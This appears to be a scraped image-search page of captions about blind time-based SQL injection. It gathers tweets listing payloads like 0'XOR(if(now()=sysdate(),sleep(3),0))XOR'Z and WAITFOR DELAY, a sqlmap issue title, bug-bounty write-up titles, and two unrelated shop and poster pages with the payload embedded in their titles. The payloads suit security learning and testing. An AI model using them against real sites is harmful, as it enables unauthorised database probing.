![Jawad 🇧🇩 on Twitter: "Detect Blind SQL INJECTION with these payloads 0"XOR (if(now()=sysdate(),sleep(12),0))XOR"Z%20=%3E 0'XOR(if(now()=sysdate(),sleep (3),0))XOR'Z '%20WAITFOR%20DELAY%20'0:0:5'-- if(now()=sysdate(),sleep(3),0) https://t.co/IRTpuUNlUh" / X Jawad 🇧🇩 on Twitter: "Detect Blind SQL INJECTION with these payloads 0"XOR (if(now()=sysdate(),sleep(12),0))XOR"Z%20=%3E 0'XOR(if(now()=sysdate(),sleep (3),0))XOR'Z '%20WAITFOR%20DELAY%20'0:0:5'-- if(now()=sysdate(),sleep(3),0) https://t.co/IRTpuUNlUh" / X](https://pbs.twimg.com/media/EwTKDtIUcAA67nC.png)
Jawad 🇧🇩 on Twitter: "Detect Blind SQL INJECTION with these payloads 0"XOR (if(now()=sysdate(),sleep(12),0))XOR"Z%20=%3E 0'XOR(if(now()=sysdate(),sleep (3),0))XOR'Z '%20WAITFOR%20DELAY%20'0:0:5'-- if(now()=sysdate(),sleep(3),0) https://t.co/IRTpuUNlUh" / X
Test Payload: 'XOR(if(now()=sysdate(),sleep(10),0))OR' · Issue #4091 · sqlmapproject/sqlmap · GitHub
![N$ 🍥 on Twitter: "Blind #SQLInjection on #GraphQL The API accepts queries for user "gender" data and accepts 3 keywords "M,F,NA", I found the parader "xxxkeyword_xx_xx" is vulnerable to blind-SQL injection attacks N$ 🍥 on Twitter: "Blind #SQLInjection on #GraphQL The API accepts queries for user "gender" data and accepts 3 keywords "M,F,NA", I found the parader "xxxkeyword_xx_xx" is vulnerable to blind-SQL injection attacks](https://pbs.twimg.com/media/Fe0dxb4WIA4cYdw.png)
N$ 🍥 on Twitter: "Blind #SQLInjection on #GraphQL The API accepts queries for user "gender" data and accepts 3 keywords "M,F,NA", I found the parader "xxxkeyword_xx_xx" is vulnerable to blind-SQL injection attacks
![HAPPY 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z NIKKAH ANNIVERSARY TO MR & MRs Hamza - Keep Calm and Posters Generator, Maker For Free - KeepCalmAndPosters.com HAPPY 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z NIKKAH ANNIVERSARY TO MR & MRs Hamza - Keep Calm and Posters Generator, Maker For Free - KeepCalmAndPosters.com](https://poster.keepcalmandposters.com/default/6302647_happy_0xorifnowsysdatesleep150xorz_nikkah_anniversary_to_mr__mrs_hamza.jpg)
HAPPY 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z NIKKAH ANNIVERSARY TO MR & MRs Hamza - Keep Calm and Posters Generator, Maker For Free - KeepCalmAndPosters.com
![N$ 🍥 on Twitter: "I found 2 Blind time-based SQL Injections in X-Forwarded-For: header just using Burp Intruder. Made a list of 500+ HTTP request and tested one by one for 3+ N$ 🍥 on Twitter: "I found 2 Blind time-based SQL Injections in X-Forwarded-For: header just using Burp Intruder. Made a list of 500+ HTTP request and tested one by one for 3+](https://pbs.twimg.com/media/Fu_codmWcAYcb6i.png)
N$ 🍥 on Twitter: "I found 2 Blind time-based SQL Injections in X-Forwarded-For: header just using Burp Intruder. Made a list of 500+ HTTP request and tested one by one for 3+
![0.325" x 0.325" Acrylic First Surface Mirror - 0'XOR(if(now()=sysdate(), sleep(15),0))XOR'Z Thickness - First Surface Mirror | Optical Glass & Acrylic 0.325" x 0.325" Acrylic First Surface Mirror - 0'XOR(if(now()=sysdate(), sleep(15),0))XOR'Z Thickness - First Surface Mirror | Optical Glass & Acrylic](https://firstsurfacemirror.com/wp-content/uploads/2014/10/telepromptermirror2-1.jpg)
0.325" x 0.325" Acrylic First Surface Mirror - 0'XOR(if(now()=sysdate(), sleep(15),0))XOR'Z Thickness - First Surface Mirror | Optical Glass & Acrylic
![How I Found Sql Injection on 8x8 , Cengage,Comodo,Automattic,20 company | by Ahmad A Abdulla | Medium How I Found Sql Injection on 8x8 , Cengage,Comodo,Automattic,20 company | by Ahmad A Abdulla | Medium](https://miro.medium.com/v2/resize:fit:1200/1*LEI1rSC2-hgdGq8yKZr3jA.png)
How I Found Sql Injection on 8x8 , Cengage,Comodo,Automattic,20 company | by Ahmad A Abdulla | Medium
![I Earned $3500 and 40 Points for A GraphQL Blind SQL Injection Vulnerability. | by nav1n | InfoSec Write-ups I Earned $3500 and 40 Points for A GraphQL Blind SQL Injection Vulnerability. | by nav1n | InfoSec Write-ups](https://miro.medium.com/v2/resize:fit:1400/1*u76JHqtNdp3NIg6umaFAXA.png)